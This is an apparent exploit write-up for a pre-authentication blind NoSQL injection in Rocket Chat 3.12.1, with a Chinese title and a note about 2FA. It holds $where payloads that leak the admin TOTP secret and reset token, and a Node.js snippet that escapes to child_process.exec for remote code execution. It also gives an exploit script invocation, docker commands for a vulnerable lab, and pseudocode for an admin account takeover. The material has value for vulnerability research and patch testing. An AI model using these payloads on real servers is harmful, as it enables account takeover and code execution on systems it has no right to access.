预认证盲注NoSQL注入导致Rocket Chat 3.12.1远程代码执行
{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
注意:如果你不想让管理员受2FA保护,可以执行以下操作。
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)